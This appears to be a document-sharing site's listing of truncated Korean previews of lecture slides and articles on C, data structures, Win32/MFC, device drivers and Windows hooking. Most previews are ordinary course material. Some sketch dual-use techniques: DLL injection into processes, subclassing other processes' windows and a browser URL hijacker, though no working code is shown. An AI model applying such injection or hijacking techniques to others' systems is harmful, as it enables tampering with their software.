임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - hci2-lecture1.ppt Overview 윈도우프로그래밍기초 윈도우운영체제와윈도우응용프로그램의특징이해 SDK 응용프로그램작성과정, 기본구조, 동작원리이해 MFC 응용프로그램작성과정, 기본구조, 동작원리이해 HCI Programming 2 (321190) 2007년가을학기 9/13/2007 박경신 2 윈도우운영체제특징 그래픽사용자인터페이스 (Graphical User Interface,

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

Microsoft Word - hook3.doc

Microsoft Word - hook3.doc 개발자를위한윈도우후킹테크닉 메시지훅이용한 Spy++ 흉내내기 우리는지난강좌에서후킹을하는기초적인방법과사용되는 API 들을비롯해서후킹함수가호출되는컨텍스트에대해서배웠다. 이번강좌에서는 WH_GETMESSAGE 훅을통해서 Spy++ 과유사한프로그램을제작할것이다. 이과정에서 Windows 애플리케이션이메시지를처리하는과정과윈도우를열거하는방법에대해서알아보도록하자. 목차

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Win32 API Windows Programming 1 http://idb.korea.ac.kr DB & Mining LAB. Korea Univ. 최종업데이트 : 2012. 08. 14 1 컴퓨터시스템의주요구성요소 2 2 컴퓨터하드웨어구성 Fetch : 메인메모리에저장되어있는명령어를 CPU 로 Decode : 컨트롤유닛에의해분석 Execution : ALU

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

5장 MFC기반 다지기

5장 MFC기반 다지기 5 장 MFC 기반다지기 김성영교수 금오공과대학교 컴퓨터공학부 들어가기 (1) pp.132 ~ 138 비주얼스튜디오에서 MFC 어플리케이션작성 참조 시스템메뉴 메뉴 최소 / 최대 / 닫기버튼 툴바 대화상자 클라이언트영역 (Client Area) 스크롤바 상태표시줄 2 들어가기 (2) 3 들어가기 (3) 4 들어가기 (4) 솔루션탐색기확인 WinMain() 함수가없다?

More information

Microsoft Word - hook5.doc

Microsoft Word - hook5.doc 개발자를위한윈도우후킹테크닉 Spy++ 클론 imspy 제작하기 지난시간까지우리는 WH_GETMESSAGE, WH_CALLWNDPROC, WH_CALLWNDPROCRET 을 사용하는이론적인방법과동기화방법에대해서살펴보았다. 이번시간에는세가지훅을 사용해서 Spy++ 과같이메시지처리과정을보여주는프로그램을작성할것이다. 목차 목차...1 필자소개...1 연재가이드...1

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

Microsoft Word - hook7.doc

Microsoft Word - hook7.doc 개발자를위한윈도우후킹테크닉 WH_SHELL 훅을사용해다른프로세스윈도우서브클래싱하기 Win32 플랫폼에서는컨텍스트문제로다른프로세스에존재하는윈도우를서브클래싱 하기가쉽지않다. WH_CBT 훅과 WH_SHELL 훅을통해서이러한작업을하는방법을 살펴본다. 또한브라우저 URL 하이재커와팝업제거프로그램을만드는방법을살펴본다. 목차 목차...1 필자소개...1 연재가이드...

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 (   ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각 JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2> 게임엔진 제 4 강프레임리스너와 OIS 입력시스템 이대현교수 한국산업기술대학교게임공학과 학습내용 프레임리스너의개념 프레임리스너를이용한엔터티의이동 OIS 입력시스템을이용한키보드입력의처리 게임루프 Initialization Game Logic Drawing N Exit? Y Finish 실제게임루프 오우거엔진의메인렌더링루프 Root::startRendering()

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - hci2-lecture1.ppt Overview 윈도우프로그래밍기초 윈도우운영체제와윈도우응용프로그램의특징이해 SDK 응용프로그램작성과정, 기본구조, 동작원리이해 MFC 응용프로그램작성과정, 기본구조, 동작원리이해 HCI Programming 2 (321190) 2008년가을학기 9/16/2008 박경신 2 Windows.NET 구조적프로그램에서객체지향프로그램으로 SDK(Software Development

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

PowerPoint Presentation

PowerPoint Presentation Class - Property Jo, Heeseung 목차 section 1 클래스의일반구조 section 2 클래스선언 section 3 객체의생성 section 4 멤버변수 4-1 객체변수 4-2 클래스변수 4-3 종단 (final) 변수 4-4 멤버변수접근방법 section 5 멤버변수접근한정자 5-1 public 5-2 private 5-3 한정자없음

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070> 1 #include 2 #include 3 #include 4 #include 5 #include 6 #include "QuickSort.h" 7 using namespace std; 8 9 10 Node* Queue[100]; // 추가입력된데이터를저장하기위한 Queue

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce DLL injection Written by Darawk 편역 : poc@securityproof.net * 이글은 Codebreakers Journal Vol.1, No.1, 2007 에서발표된것이며, 오역이나 오타가있을수있으니원문을참고시기바랍니다. 이문서에서, 나는프로세스에 dll을삽입하는알려진 ( 적어도내가아는한에서 ) 방법들모두를다룰것이다. Dll injection은

More information

슬라이드 1

슬라이드 1 정적메모리할당 (Static memory allocation) 일반적으로프로그램의실행에필요한메모리 ( 변수, 배열, 객체등 ) 는컴파일과정에서결정되고, 실행파일이메모리에로드될때할당되며, 종료후에반환됨 동적메모리할당 (Dynamic memory allocation) 프로그램의실행중에필요한메모리를할당받아사용하고, 사용이끝나면반환함 - 메모리를프로그램이직접관리해야함

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

슬라이드 1

슬라이드 1 한국산업기술대학교 제 4 강프레임리스너 (Frame Listener) 이대현교수 학습안내 학습목표 프레임리스너를이용하여게임루프를구현하는방법을이해한다. 오우거엔짂의키입력처리방식을이해한다. 학습내용 프레임리스너의개념프레임리스너를이용한게임캐릭터의이동캐릭터의이동속도조절 OIS 입력시스템을이용한키보드입력의처리 기본게임루프 Initialization Game Logic

More information

윈도우 프로그래밍

윈도우 프로그래밍 Windows Programming 2013. 3 출처 : 인터넷에서수집한 PT 자료 1. Overview Getting Started (1) 관련도서 Visual C++/API 프로젝트따라하기, 오진환, 컴스페이스 Programming Windows, Charles Petzold, Microsoft Press Windows application Programming

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2 제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.

More information

PowerPoint Presentation

PowerPoint Presentation #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 5 장생성자와접근제어 1. 객체지향기법을이해한다. 2. 클래스를작성할수있다. 3. 클래스에서객체를생성할수있다. 4. 생성자를이용하여객체를초기화할수 있다. 5. 접근자와설정자를사용할수있다. 이번장에서만들어볼프로그램 생성자 생성자 (constructor) 는초기화를담당하는함수 생성자가필요한이유 #include using namespace

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

PowerPoint Presentation

PowerPoint Presentation 객체지향프로그래밍 클래스, 객체, 메소드 ( 실습 ) 손시운 ssw5176@kangwon.ac.kr 예제 1. 필드만있는클래스 텔레비젼 2 예제 1. 필드만있는클래스 3 예제 2. 여러개의객체생성하기 4 5 예제 3. 메소드가추가된클래스 public class Television { int channel; // 채널번호 int volume; // 볼륨 boolean

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

DLL(Dynamic Linked Library)

DLL(Dynamic Linked Library) 제 11 장동적연결라이브러리 11.1 DLL 의링크 11.2 DLL 의종류 실습 11-1 Implicit 링킹을통한정규 DLL 달력만들기 실습 11-2 Explicit 링킹을통한정규 DLL 달력만들기 실습 11-3 확장 DLL 을통한주민등록번호조회 프로그램만들기 DLL(Dynamic Linked Library) DLL 이란? 동적연결라이브러리 프로그램내부에라이브러리가있는것이아니라따로독립적으로실행가능한파일

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

슬라이드 1

슬라이드 1 CHAP 6: 큐 yicho@gachon.ac.kr 1 큐 (QUEUE) 큐 : 먼저들어온데이터가먼저나가는자료구조 선입선출 (FIFO: First-In First-Out) ( 예 ) 매표소의대기열 Ticket Box 전단 () 후단 () 2 큐 ADT 삽입과삭제는 FIFO 순서를따른다. 삽입은큐의후단에서, 삭제는전단에서이루어진다. 객체 : n 개의 element

More information

슬라이드 1

슬라이드 1 핚국산업기술대학교 제 14 강 GUI (III) 이대현교수 학습안내 학습목표 CEGUI 라이브러리를이용하여, 게임메뉴 UI 를구현해본다. 학습내용 CEGUI 레이아웃의로딩및렌더링. OIS 와 CEGUI 의연결. CEGUI 위젯과이벤트의연동. UI 구현 : 하드코딩방식 C++ 코드를이용하여, 코드내에서직접위젯들을생성및설정 CEGUI::PushButton* resumebutton

More information

설계란 무엇인가?

설계란 무엇인가? 금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 6 강. 함수와배열, 포인터, 참조목차 함수와포인터 주소값의매개변수전달 주소의반환 함수와배열 배열의매개변수전달 함수와참조 참조에의한매개변수전달 참조의반환 프로그래밍연습 1 /15 6 강. 함수와배열, 포인터, 참조함수와포인터 C++ 매개변수전달방법 값에의한전달 : 변수값,

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

Microsoft PowerPoint UI-Event.Notification(1.5h).pptx

Microsoft PowerPoint UI-Event.Notification(1.5h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 UI 이벤트 Event listener Touch mode Focus handling Notification Basic toast notification Customized toast notification Status bar notification 2 사용자가인터랙션하는특정 View

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

설계란 무엇인가?

설계란 무엇인가? 금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 4 강. 함수와라이브러리함수목차 함수오버로딩 디폴트매개변수 라이브러리함수 clock 함수 난수발생 비버퍼형문자입력 커서이동 프로그래밍문제 1 /21 4 강. 함수와라이브러리함수함수오버로딩 2 /21 함수오버로딩 동일한이름의함수를여러개만들수있음 함수프로파일이달라야함 함수프로파일

More information

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD> 2006 년 2 학기윈도우게임프로그래밍 제 8 강프레임속도의조절 이대현 한국산업기술대학교 오늘의학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용한다. FPS(Frame Per Sec)

More information

Microsoft PowerPoint 웹 연동 기술.pptx

Microsoft PowerPoint 웹 연동 기술.pptx 웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 URL 분석 (1/2) URL (Uniform Resource Locator) 프로토콜, 호스트, 포트, 경로, 비밀번호, User 등의정보를포함 예. http://kim:3759@www.hostname.com:80/doc/index.html URL 을속성별로분리하고자할경우

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

gnu-lee-oop-kor-lec06-3-chap7

gnu-lee-oop-kor-lec06-3-chap7 어서와 Java 는처음이지! 제 7 장상속 Super 키워드 상속과생성자 상속과다형성 서브클래스의객체가생성될때, 서브클래스의생성자만호출될까? 아니면수퍼클래스의생성자도호출되는가? class Base{ public Base(String msg) { System.out.println("Base() 생성자 "); ; class Derived extends Base

More information

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770>

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770> 2010 학년도동계 계절수업시험문제지 출제위원 방송대김강현 학과명학번 - 성 명 감독관확인 ( 인 ) 교과목명 교과목코드 윈도우프로그래밍 3 7 출제범위 교재전체 ( 해당강의포함 ) 문항수 50 문항 [50 문항 2 점 =100 점 ] 유의사항 1. OMR 답안지및문제지인적사항표기는반드시컴퓨터용사인펜으로할것 2. 표기한답안은정정이일절불가하니답안표기에각별히유의할것

More information

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont 12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다. 12.1 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont( in LPDIRECT3DDEVICE9 pdevice, in INT Height, in UINT

More information

슬라이드 1

